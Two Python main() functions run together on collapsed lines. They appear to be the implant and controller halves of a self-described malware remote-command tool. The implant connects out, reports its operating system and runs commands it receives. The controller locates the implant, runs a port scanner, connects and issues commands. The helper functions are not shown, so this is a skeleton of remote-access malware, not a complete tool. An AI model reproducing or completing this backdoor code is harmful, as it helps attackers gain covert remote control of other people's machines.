def main(): distant_socket = connection() communication = Communication(distant_socket) message = communication.recv_message_str() malware_os = platform.system() while message != "os": message = communication.recv_message_str() communication.send(malware_os) run_commands(malware_os, communication) distant_socket.close()
def main(): parser_options = set_up_parser() malware_addr = get_malware_address(parser_options[0]) start_portscanner(parser_options[1]) sock = connection(malware_addr) communication = Communication(sock) communication.send("os") malware_os = communication.recv_message_str() run_commands(malware_os, communication) sock.close()